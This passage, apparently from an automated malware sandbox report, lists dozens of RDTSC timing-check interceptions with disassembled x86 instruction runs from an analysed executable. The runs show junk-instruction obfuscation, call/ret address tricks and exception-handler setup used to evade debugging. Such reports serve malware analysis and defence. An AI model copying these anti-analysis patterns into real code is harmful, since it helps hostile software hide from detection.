00007F6AA0FF7BF9h 0x0000005d movzx esi, ax 0x00000060 add dx, 379Fh 0x00000065 popad 0x00000066 call 00007F6AA0FF7BFFh 0x0000006b sub dx, 8DA5h 0x00000070 pop esi 0x00000071 push 00000003h 0x00000073 sub dword ptr [ebp+122D1812h], eax 0x00000079 jmp 00007F6AA0FF7C00h 0x0000007e push F7E8C2ACh 0x00000083 jo 00007F6AA0FF7C00h 0x00000089 push eax 0x0000008a push edx 0x0000008b push esi 0x0000008c pop esi 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 148966C second address: 1489670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1489670 second address: 148968E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C08h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 148968E second address: 14896AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB737h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1489808 second address: 148980D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 148980D second address: 1489838 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6AA0FFB731h 0x00000008 jl 00007F6AA0FFB726h 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 jg 00007F6AA0FFB728h 0x00000017 push edi 0x00000018 pop edi 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push edi 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14899B7 second address: 14899BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14899BB second address: 14899D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AA0FFB733h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1489B24 second address: 1489B34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F6AA0FF7BF6h 0x0000000a jl 00007F6AA0FF7BF6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 148A154 second address: 148A17C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6AA0FFB726h 0x00000008 jmp 00007F6AA0FFB738h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 148A601 second address: 148A606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 148A606 second address: 148A621 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AA0FFB735h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 148A621 second address: 148A625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 148A625 second address: 148A630 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 148AAAA second address: 148AABD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jno 00007F6AA0FF7BF6h 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 148B1DB second address: 148B1E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 148B1E3 second address: 148B1E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1460917 second address: 1460935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F6AA0FFB732h 0x0000000b jnc 00007F6AA0FFB726h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 148B7AB second address: 148B7B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6AA0FF7BF6h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 148B7B8 second address: 148B7C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AA0FFB72Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1458251 second address: 1458259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1458259 second address: 1458268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jc 00007F6AA0FFB726h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 148FF64 second address: 148FF68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1490144 second address: 1490195 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 ja 00007F6AA0FFB726h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 jns 00007F6AA0FFB738h 0x00000019 jl 00007F6AA0FFB728h 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 mov eax, dword ptr [esp+04h] 0x00000026 push ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F6AA0FFB736h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1490195 second address: 14901BF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6AA0FF7BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov eax, dword ptr [eax] 0x0000000d push edi 0x0000000e push ecx 0x0000000f jp 00007F6AA0FF7BF6h 0x00000015 pop ecx 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F6AA0FF7BFBh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14901BF second address: 14901C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1495BCC second address: 1495BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jg 00007F6AA0FF7BFCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149A285 second address: 149A28C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14517C1 second address: 14517C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14517C9 second address: 14517CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1499713 second address: 1499721 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7BFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14999D0 second address: 14999D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1499B57 second address: 1499B5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1499F9F second address: 1499FA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149A9C1 second address: 149A9C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149A9C5 second address: 149AA1A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6AA0FFB726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F6AA0FFB72Dh 0x00000012 popad 0x00000013 popad 0x00000014 xor dword ptr [esp], 310602CCh 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F6AA0FFB728h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 add si, 66AFh 0x0000003a push 300205CCh 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push edi 0x00000044 pop edi 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149AA1A second address: 149AA1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149AA1E second address: 149AA24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149AA24 second address: 149AA2E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6AA0FF7BFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149AD9D second address: 149ADA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149AF2D second address: 149AF3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149B735 second address: 149B73F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F6AA0FFB726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149B73F second address: 149B74C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149BADC second address: 149BAF1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6AA0FFB72Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149BAF1 second address: 149BB38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 je 00007F6AA0FF7BF6h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F6AA0FF7BF8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b or si, 833Dh 0x00000030 xchg eax, ebx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F6AA0FF7C00h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149BB38 second address: 149BB3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149BB3E second address: 149BB56 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 je 00007F6AA0FF7C04h 0x0000000f pushad 0x00000010 jno 00007F6AA0FF7BF6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149C09A second address: 149C0A3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 149C82A second address: 149C82E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A25CB second address: 14A25CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A6935 second address: 14A693B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A693B second address: 14A6949 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A6949 second address: 14A69DB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6AA0FF7BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop ebx 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F6AA0FF7BF8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a sub ebx, 2C25AA82h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007F6AA0FF7BF8h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 0000001Dh 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c push 00000000h 0x0000004e call 00007F6AA0FF7C04h 0x00000053 jmp 00007F6AA0FF7C03h 0x00000058 pop ebx 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c jl 00007F6AA0FF7BF8h 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A0347 second address: 14A034B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A034B second address: 14A0351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A0351 second address: 14A0357 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A0357 second address: 14A035B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AB812 second address: 14AB887 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F6AA0FFB726h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jl 00007F6AA0FFB72Eh 0x00000015 push esi 0x00000016 jnl 00007F6AA0FFB726h 0x0000001c pop esi 0x0000001d nop 0x0000001e movzx ebx, ax 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ebx 0x00000026 call 00007F6AA0FFB728h 0x0000002b pop ebx 0x0000002c mov dword ptr [esp+04h], ebx 0x00000030 add dword ptr [esp+04h], 00000019h 0x00000038 inc ebx 0x00000039 push ebx 0x0000003a ret 0x0000003b pop ebx 0x0000003c ret 0x0000003d mov edi, dword ptr [ebp+122D1DEFh] 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push edi 0x00000048 call 00007F6AA0FFB728h 0x0000004d pop edi 0x0000004e mov dword ptr [esp+04h], edi 0x00000052 add dword ptr [esp+04h], 0000001Ch 0x0000005a inc edi 0x0000005b push edi 0x0000005c ret 0x0000005d pop edi 0x0000005e ret 0x0000005f push eax 0x00000060 pushad 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AB887 second address: 14AB8A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AA0FF7C00h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AB8A0 second address: 14AB8A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AC899 second address: 14AC8A3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6AA0FF7BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AC8A3 second address: 14AC934 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F6AA0FFB726h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F6AA0FFB728h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b jnp 00007F6AA0FFB72Ch 0x00000031 add dword ptr [ebp+122D1D93h], edx 0x00000037 push 00000000h 0x00000039 mov dword ptr [ebp+122D2CDDh], esi 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push esi 0x00000044 call 00007F6AA0FFB728h 0x00000049 pop esi 0x0000004a mov dword ptr [esp+04h], esi 0x0000004e add dword ptr [esp+04h], 00000018h 0x00000056 inc esi 0x00000057 push esi 0x00000058 ret 0x00000059 pop esi 0x0000005a ret 0x0000005b mov dword ptr [ebp+122D393Eh], eax 0x00000061 xchg eax, esi 0x00000062 push edx 0x00000063 jmp 00007F6AA0FFB736h 0x00000068 pop edx 0x00000069 push eax 0x0000006a push edi 0x0000006b push eax 0x0000006c push edx 0x0000006d push edx 0x0000006e pop edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AD939 second address: 14AD93E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AD93E second address: 14AD944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A6BD1 second address: 14A6BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AD944 second address: 14AD967 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F6AA0FFB738h 0x00000011 jmp 00007F6AA0FFB732h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A89FB second address: 14A89FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A6BD5 second address: 14A6BE2 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6AA0FFB726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AAA5E second address: 14AAA94 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F6AA0FF7BFBh 0x00000010 jns 00007F6AA0FF7BF6h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F6AA0FF7C07h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A89FF second address: 14A8A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edi 0x00000009 push ecx 0x0000000a jne 00007F6AA0FFB726h 0x00000010 pop ecx 0x00000011 pop edi 0x00000012 nop 0x00000013 sub bh, FFFFFFAFh 0x00000016 push dword ptr fs:[00000000h] 0x0000001d mov dword ptr [ebp+122D2E29h], ecx 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007F6AA0FFB728h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 00000015h 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 mov bx, di 0x00000047 mov eax, dword ptr [ebp+122D0B19h] 0x0000004d push 00000000h 0x0000004f push edi 0x00000050 call 00007F6AA0FFB728h 0x00000055 pop edi 0x00000056 mov dword ptr [esp+04h], edi 0x0000005a add dword ptr [esp+04h], 00000018h 0x00000062 inc edi 0x00000063 push edi 0x00000064 ret 0x00000065 pop edi 0x00000066 ret 0x00000067 push FFFFFFFFh 0x00000069 sub ebx, 272CA7A7h 0x0000006f nop 0x00000070 pushad 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007F6AA0FFB738h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AAA94 second address: 14AAB2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jns 00007F6AA0FF7BF6h 0x0000000e call 00007F6AA0FF7BFAh 0x00000013 mov di, 3E45h 0x00000017 pop edi 0x00000018 push dword ptr fs:[00000000h] 0x0000001f mov dword ptr [ebp+12465E6Dh], ecx 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007F6AA0FF7BF8h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 0000001Ah 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 mov eax, dword ptr [ebp+122D0C35h] 0x0000004c mov dword ptr [ebp+12452661h], edx 0x00000052 push FFFFFFFFh 0x00000054 push 00000000h 0x00000056 push edi 0x00000057 call 00007F6AA0FF7BF8h 0x0000005c pop edi 0x0000005d mov dword ptr [esp+04h], edi 0x00000061 add dword ptr [esp+04h], 00000016h 0x00000069 inc edi 0x0000006a push edi 0x0000006b ret 0x0000006c pop edi 0x0000006d ret 0x0000006e push eax 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007F6AA0FF7C04h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AE927 second address: 14AE96E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnl 00007F6AA0FFB73Ch 0x0000000f nop 0x00000010 push 00000000h 0x00000012 pushad 0x00000013 push edi 0x00000014 add esi, 6C134960h 0x0000001a pop ecx 0x0000001b mov esi, eax 0x0000001d popad 0x0000001e push 00000000h 0x00000020 mov edi, dword ptr [ebp+122D17DDh] 0x00000026 xchg eax, esi 0x00000027 jp 00007F6AA0FFB734h 0x0000002d push eax 0x0000002e push edx 0x0000002f push esi 0x00000030 pop esi 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AAB2A second address: 14AAB2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AE96E second address: 14AE97F instructions: 0x00000000 rdtsc 0x00000002 js 00007F6AA0FFB726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AAB2F second address: 14AAB35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
